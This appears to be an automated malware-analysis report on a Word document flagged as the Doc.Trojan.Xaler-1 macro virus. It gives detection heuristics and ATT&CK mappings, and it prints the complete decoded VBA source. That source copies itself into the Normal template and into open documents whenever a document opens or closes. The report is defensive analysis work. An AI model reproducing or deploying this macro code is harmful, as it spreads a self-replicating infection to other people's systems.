MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample contains VBA macros that exhibit self-replication behavior, specifically writing VBA project code to a temporary file and then attempting to insert it into the Normal template and the active document. This suggests an attempt to establish persistence or spread the malicious macro. The ClamAV detection 'Doc.Trojan.Xaler-1' further supports its malicious nature. While the exact persistence mechanism isn't fully detailed, the replication behavior is a strong indicator.
Heuristics 5
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ClamAV: Doc.Trojan.Xaler-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Xaler-1
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2397 bytes |
SHA-256: 8d1ec5b4c1c6f35de5a935109dd1078685ae44cbd653ac9d38bc36b781e97891 |
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Detection
ClamAV:
Doc.Trojan.Xaler-1
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'RELAX
Private Sub RELAX2()
If Day(Date) Mod 10 = 0 And Month(Date) Mod 4 = 0 Then
Close #1
End If
End Sub
Private Sub CheckBox10211111_Click()
End Sub
Private Sub CheckBox111_Click()
End Sub
Private Sub Document_Close()
Call GOODSub
Call RELAX2
End Sub
Private Sub GOODSub()
On Error Resume Next
Application.ScreenUpdating = False
Application.Options.SaveNormalPrompt = False
x$ = "C:\temp.tmp"
MacroContainer.VBProject.vbcomponents.Item("ThisDocument").Export x$
Open x$ For Input As #1
keimeno = Input(LOF(1), 1)
Close #1
kk& = InStr(1, keimeno, "'RELAX")
keimeno = Right$(keimeno, Len(keimeno) - kk& + 1)
For j = 1 To 2
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").Export x$
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").Export x$
End If
Open x$ For Input As #1
rlx = Input(LOF(1), 1)
Close #1
d1 = InStr(1, rlx, "'RELAX")
If d1 = 0 Then
If j = 1 Then
NormalTemplate.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
NormalTemplate.Save
Else
ActiveDocument.VBProject.vbcomponents.Item("ThisDocument").CodeModule.InsertLines 1, keimeno
End If
End If
Next j
'====================
Dim PRostasia As Byte
PRostasia = 1
fff = FreeFile
If Dir(ActiveDocument.FullName, 6) <> "" Then
Open ActiveDocument.FullName For Binary As #fff
Put #fff, 862, PRostasia
Close #fff
ActiveDocument.Save
End If
Kill x$
Application.ScreenUpdating = True
End Sub
Private Sub Document_Open()
Call GOODSub
End Sub
Private Sub CheckBox1021111_Click()
End Sub
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